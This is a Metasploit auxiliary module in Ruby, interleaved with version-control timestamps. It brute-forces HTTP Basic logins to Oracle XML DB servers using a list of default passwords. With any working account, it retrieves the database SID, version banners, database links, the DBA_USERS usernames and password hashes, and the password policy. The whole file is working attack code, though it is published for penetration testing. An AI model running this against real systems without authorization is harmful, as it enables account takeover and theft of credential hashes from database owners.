2010-03-11 22:55:37 +00:00
##
2010-04-30 08:40:19 +00:00
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
2010-03-11 22:55:37 +00:00
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
2010-11-11 22:43:22 +00:00
# http://metasploit.com/framework/
2010-03-11 22:55:37 +00:00
##
require 'msf/core'
class Metasploit3 < Msf :: Auxiliary
2010-04-30 08:40:19 +00:00
include Msf :: Auxiliary :: Report
2010-03-11 22:55:37 +00:00
include Msf :: Exploit :: Remote :: HttpClient
include Msf :: Auxiliary :: Scanner
def initialize
super (
'Name' = > 'Oracle XML DB SID Discovery via Brute Force' ,
'Description' = > %q{
2010-04-30 08:40:19 +00:00
This module attempts to retrieve the sid from the Oracle XML DB httpd server ,
2010-03-15 20:31:53 +00:00
utilizing Pete Finnigan s default oracle password list .
2010-03-11 22:55:37 +00:00
} ,
2010-05-03 17:13:09 +00:00
'Version' = > '$Revision$' ,
2010-03-11 22:55:37 +00:00
'References' = >
[
[ 'URL' , 'http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf' ] ,
2010-09-20 08:06:27 +00:00
[ 'URL' , 'http://www.petefinnigan.com/default/oracle_default_passwords.csv' ] ,
2010-03-11 22:55:37 +00:00
] ,
'Author' = > [ 'nebulus' ] ,
'License' = > MSF_LICENSE
)
register_options (
[
OptString . new ( 'CSVFILE' , [ false , 'The file that contains a list of default accounts.' , File . join ( Msf :: Config . install_root , 'data' , 'wordlists' , 'oracle_default_passwords.csv' ) ] ) ,
OptBool . new ( 'VERBOSE' , [ false , 'Report each try' , false ] ) ,
Opt :: RPORT ( 8080 ) ,
] , self . class )
deregister_options ( 'DBUSER' , 'DBPASS' )
end
def run_host ( ip )
begin
res = send_request_raw ( {
'uri' = > '/oradb/PUBLIC/GLOBAL_NAME' ,
'version' = > '1.0' ,
'method' = > 'GET'
} , 5 )
return if not res
if ( res . code == 200 )
print_status ( " http:// #{ ip } : #{ datastore [ 'RPORT' ] } /oradb/PUBLIC/GLOBAL_NAME ( #{ res . code } ) is not password protected. " ) if datastore [ 'VERBOSE' ]
return
end
list = datastore [ 'CSVFILE' ]
2010-03-15 20:31:53 +00:00
users = [ ]
2010-03-11 22:55:37 +00:00
fd = CSV . foreach ( list ) do | brute |
datastore [ 'DBUSER' ] = brute [ 2 ] . downcase
datastore [ 'DBPASS' ] = brute [ 3 ] . downcase
user_pass = " #{ datastore [ 'DBUSER' ] } : #{ datastore [ 'DBPASS' ] } "
2010-04-30 08:40:19 +00:00
2010-03-11 22:55:37 +00:00
res = send_request_raw ( {
'uri' = > '/oradb/PUBLIC/GLOBAL_NAME' ,
'version' = > '1.0' ,
'method' = > 'GET' ,
'headers' = >
{
'Authorization' = > " Basic #{ Rex :: Text . encode_base64 ( user_pass ) } "
}
2010-03-15 20:31:53 +00:00
} , 10 )
2010-03-11 22:55:37 +00:00
2010-03-15 20:31:53 +00:00
if ( not res )
print_error ( " Unable to retrieve SID for #{ ip } : #{ datastore [ 'RPORT' ] } with #{ datastore [ 'DBUSER' ] } / #{ datastore [ 'DBPASS' ] } ... " ) if datastore [ 'VERBOSE' ]
next
end
if ( res . code == 200 )
2010-04-30 08:40:19 +00:00
if ( not res . body . length > 0 )
2010-03-15 20:31:53 +00:00
# sometimes weird bug where body doesn't have value yet
res . body = res . bufq
2010-03-11 22:55:37 +00:00
end
2010-03-15 20:31:53 +00:00
sid = res . body . scan ( / <GLOBAL_NAME>( \ S+)< \/ GLOBAL_NAME> / ) [ 0 ]
report_note ( :host = > ip , :proto = > 'tcp' , :type = > 'SERVICE_NAME' , :data = > " #{ sid } " )
print_good ( " Discovered SID: ' #{ sid [ 0 ] } ' for host #{ ip } : #{ datastore [ 'RPORT' ] } with #{ datastore [ 'DBUSER' ] } / #{ datastore [ 'DBPASS' ] } " )
2010-04-30 08:40:19 +00:00
users . push ( user_pass )
2010-03-15 20:31:53 +00:00
elsif ( datastore [ 'VERBOSE' ] )
print_error ( " Unable to retrieve SID for #{ ip } : #{ datastore [ 'RPORT' ] } with #{ datastore [ 'DBUSER' ] } / #{ datastore [ 'DBPASS' ] } ... " )
end
end #fd.each
good = false
users . each do | user_pass |
( u , p ) = user_pass . split ( ':' )
# get versions
res = send_request_raw ( {
'uri' = > '/oradb/PUBLIC/PRODUCT_COMPONENT_VERSION' ,
'version' = > '1.1' ,
'method' = > 'GET' ,
'headers' = >
{
'Authorization' = > " Basic #{ Rex :: Text . encode_base64 ( user_pass ) } "
}
} , - 1 )
if ( res )
if ( res . code == 200 )
2010-04-30 08:40:19 +00:00
if ( not res . body . length > 0 )
2010-03-11 22:55:37 +00:00
# sometimes weird bug where body doesn't have value yet
res . body = res . bufq
end
2010-03-15 20:31:53 +00:00
doc = REXML :: Document . new ( res . body )
print_good ( " Version Information ==> as #{ u } " )
doc . elements . each ( 'PRODUCT_COMPONENT_VERSION/ROW' ) do | e |
p = e . elements [ 'PRODUCT' ] . get_text
v = e . elements [ 'VERSION' ] . get_text
s = e . elements [ 'STATUS' ] . get_text
2011-02-04 01:54:32 +00:00
report_note ( :host = > datastore [ 'RHOST' ] , :sname = > 'XDB' , :proto = > 'tcp' , :port = > datastore [ 'RPORT' ] , :type = > 'ORA_ENUM' , :data = > " Component Version: #{ p } #{ v } " )
2010-03-15 20:31:53 +00:00
print_good ( " \t #{ p } \t \t #{ v } \t ( #{ s } ) " )
2010-04-30 08:40:19 +00:00
2010-03-15 20:31:53 +00:00
end
2010-03-11 22:55:37 +00:00
end
2010-03-15 20:31:53 +00:00
end
# More version information
res = send_request_raw ( {
'uri' = > '/oradb/PUBLIC/ALL_REGISTRY_BANNERS' ,
'version' = > '1.1' ,
'method' = > 'GET' ,
'headers' = >
{
'Authorization' = > " Basic #{ Rex :: Text . encode_base64 ( user_pass ) } "
}
} , - 1 )
if ( res )
if ( res . code == 200 )
2010-04-30 08:40:19 +00:00
if ( not res . body . length > 0 )
2010-03-15 20:31:53 +00:00
# sometimes weird bug where body doesn't have value yet
res . body = res . bufq
end
doc = REXML :: Document . new ( res . body )
doc . elements . each ( 'ALL_REGISTRY_BANNERS/ROW' ) do | e |
next if e . elements [ 'BANNER' ] == nil
b = e . elements [ 'BANNER' ] . get_text
2011-02-04 01:54:32 +00:00
report_note ( :host = > datastore [ 'RHOST' ] , :proto = > 'tcp' , :sname = > 'XDB' , :port = > datastore [ 'RPORT' ] , :type = > 'ORA_ENUM' , :data = > " Component Version: #{ b } " )
2010-03-15 20:31:53 +00:00
print_good ( " \t #{ b } " )
end
end
end
#database links
res = send_request_raw ( {
'uri' = > '/oradb/PUBLIC/ALL_DB_LINKS' ,
'version' = > '1.1' ,
'method' = > 'GET' ,
'headers' = >
{
'Authorization' = > " Basic #{ Rex :: Text . encode_base64 ( user_pass ) } "
}
} , - 1 )
if ( res )
if ( res . code == 200 )
2010-04-30 08:40:19 +00:00
if ( not res . body . length > 0 )
2010-03-15 20:31:53 +00:00
# sometimes weird bug where body doesn't have value yet
res . body = res . bufq
end
doc = REXML :: Document . new ( res . body )
print_good ( " Database Link Information ==> as #{ u } " )
doc . elements . each ( 'ALL_DB_LINKS/ROW' ) do | e |
2010-04-30 08:40:19 +00:00
next if ( e . elements [ 'HOST' ] == nil or e . elements [ 'USERNAME' ] == nil or e . elements [ 'DB_LINK' ] == nil )
2010-03-15 20:31:53 +00:00
h = e . elements [ 'HOST' ] . get_text
d = e . elements [ 'DB_LINK' ] . get_text
us = e . elements [ 'USERNAME' ] . get_text
sid = h . to_s . scan ( / \ (SID \ s \ = \ s( \ S+) \ ) \ ) \ ) / ) [ 0 ]
if ( h . to_s . match ( / ^ \ (DESCRIPTION / ) )
h = h . to_s . scan ( / \ (HOST \ s \ = \ s( \ S+) \ ) \ ( / ) [ 0 ]
end
if ( sid and sid != " " )
print_good ( " \t Link: #{ d } \t #{ us } \ @ #{ h [ 0 ] } / #{ sid [ 0 ] } " )
2011-02-04 01:54:32 +00:00
report_note ( :host = > h [ 0 ] , :proto = > 'tcp' , :sname = > 'XDB' , :type = > 'SERVICE_NAME' , :data = > " #{ sid } " )
2010-03-15 20:31:53 +00:00
else
print_good ( " \t Link: #{ d } \t #{ us } \ @ #{ h } " )
end
end
end
end
# get users
res = send_request_raw ( {
'uri' = > '/oradb/PUBLIC/DBA_USERS' ,
'version' = > '1.1' ,
'method' = > 'GET' ,
'read_max_data' = > ( 1024 * 1024 * 10 ) ,
'headers' = >
{
'Authorization' = > " Basic #{ Rex :: Text . encode_base64 ( user_pass ) } "
}
} , - 1 )
if ( res . code == 200 )
2010-04-30 08:40:19 +00:00
if ( not res . body . length > 0 )
2010-03-15 20:31:53 +00:00
# sometimes weird bug where body doesn't have value yet
res . body = res . bufq
end
doc = REXML :: Document . new ( res . body )
print_good ( " Username/Hashes on #{ ip } : #{ datastore [ 'RPORT' ] } ==> as #{ u } " )
doc . elements . each ( 'DBA_USERS/ROW' ) do | user |
us = user . elements [ 'USERNAME' ] . get_text
h = user . elements [ 'PASSWORD' ] . get_text
as = user . elements [ 'ACCOUNT_STATUS' ] . get_text
print_good ( " \t #{ us } : #{ h } : #{ as } " )
good = true
if ( as . to_s == " OPEN " )
2011-02-04 01:54:32 +00:00
report_note ( :host = > datastore [ 'RHOST' ] , :proto = > 'tcp' , :sname = > 'XDB' , :port = > datastore [ 'RPORT' ] , :type = > 'ORA_ENUM' , :data = > " Active Account #{ u } : #{ h } : #{ as } " )
2010-03-15 20:31:53 +00:00
else
2011-02-04 01:54:32 +00:00
report_note ( :host = > datastore [ 'RHOST' ] , :proto = > 'tcp' , :sname = > 'XDB' , :port = > datastore [ 'RPORT' ] , :type = > 'ORA_ENUM' , :data = > " Disabled Account #{ u } : #{ h } : #{ as } " )
2010-03-15 20:31:53 +00:00
end
end
end
# get password information
res = send_request_raw ( {
'uri' = > '/oradb/PUBLIC/USER_PASSWORD_LIMITS' ,
'version' = > '1.1' ,
'method' = > 'GET' ,
'read_max_data' = > ( 1024 * 1024 * 10 ) ,
'headers' = >
{
'Authorization' = > " Basic #{ Rex :: Text . encode_base64 ( user_pass ) } "
}
} , - 1 )
if ( res . code == 200 )
2010-04-30 08:40:19 +00:00
if ( not res . body . length > 0 )
2010-03-15 20:31:53 +00:00
# sometimes weird bug where body doesn't have value yet
res . body = res . bufq
end
doc = REXML :: Document . new ( res . body )
print_good ( " Password Policy ==> as #{ u } " )
fla = plit = pgt = prt = prm = plot = ''
doc . elements . each ( 'USER_PASSWORD_LIMITS/ROW' ) do | e |
next if e . elements [ 'RESOURCE_NAME' ] == nil
case
when ( e . elements [ 'RESOURCE_NAME' ] . get_text == 'FAILED_LOGIN_ATTEMPTS' )
fla = e . elements [ 'LIMIT' ] . get_text
when ( e . elements [ 'RESOURCE_NAME' ] . get_text == 'PASSWORD_LIFE_TIME' )
plit = e . elements [ 'LIMIT' ] . get_text
when ( e . elements [ 'RESOURCE_NAME' ] . get_text == 'PASSWORD_REUSE_TIME' )
prt = e . elements [ 'LIMIT' ] . get_text
when ( e . elements [ 'RESOURCE_NAME' ] . get_text == 'PASSWORD_REUSE_MAX' )
prm = e . elements [ 'LIMIT' ] . get_text
when ( e . elements [ 'RESOURCE_NAME' ] . get_text == 'PASSWORD_LOCK_TIME' )
plot = e . elements [ 'LIMIT' ] . get_text
when ( e . elements [ 'RESOURCE_NAME' ] . get_text == 'PASSWORD_GRACE_TIME' )
pgt = e . elements [ 'LIMIT' ] . get_text
end
end
print_good ( " \t Failed Login Attempts: #{ fla } \n \t Password Life Time: #{ plit } \n \t Password Reuse Time: #{ prt } \n \t Password Reuse Max: #{ prm } \n \t Password Lock Time: #{ plot } \n \t Password Grace Time: #{ pgt } " )
2011-02-04 01:54:32 +00:00
report_note ( :host = > datastore [ 'RHOST' ] , :proto = > 'tcp' , :sname = > 'XDB' , :port = > datastore [ 'RPORT' ] , :type = > 'ORA_ENUM' , :data = > " Password Maximum Reuse Time: #{ prm } " )
report_note ( :host = > datastore [ 'RHOST' ] , :proto = > 'tcp' , :sname = > 'XDB' , :port = > datastore [ 'RPORT' ] , :type = > 'ORA_ENUM' , :data = > " Password Reuse Time: #{ prt } " )
report_note ( :host = > datastore [ 'RHOST' ] , :proto = > 'tcp' , :sname = > 'XDB' , :port = > datastore [ 'RPORT' ] , :type = > 'ORA_ENUM' , :data = > " Password Life Time: #{ plit } " )
report_note ( :host = > datastore [ 'RHOST' ] , :proto = > 'tcp' , :sname = > 'XDB' , :port = > datastore [ 'RPORT' ] , :type = > 'ORA_ENUM' , :data = > " Account Fail Logins Permitted: #{ fla } " )
report_note ( :host = > datastore [ 'RHOST' ] , :proto = > 'tcp' , :sname = > 'XDB' , :port = > datastore [ 'RPORT' ] , :type = > 'ORA_ENUM' , :data = > " Account Lockout Time: #{ plot } " )
report_note ( :host = > datastore [ 'RHOST' ] , :proto = > 'tcp' , :sname = > 'XDB' , :port = > datastore [ 'RPORT' ] , :type = > 'ORA_ENUM' , :data = > " Account Password Grace Time: #{ pgt } " )
2010-03-15 20:31:53 +00:00
end
break if good
2010-04-30 08:40:19 +00:00
end # users.each
2010-03-11 22:55:37 +00:00
rescue :: Rex :: ConnectionRefused , :: Rex :: HostUnreachable , :: Rex :: ConnectionTimeout
rescue :: Timeout :: Error , :: Errno :: EPIPE
end
end
end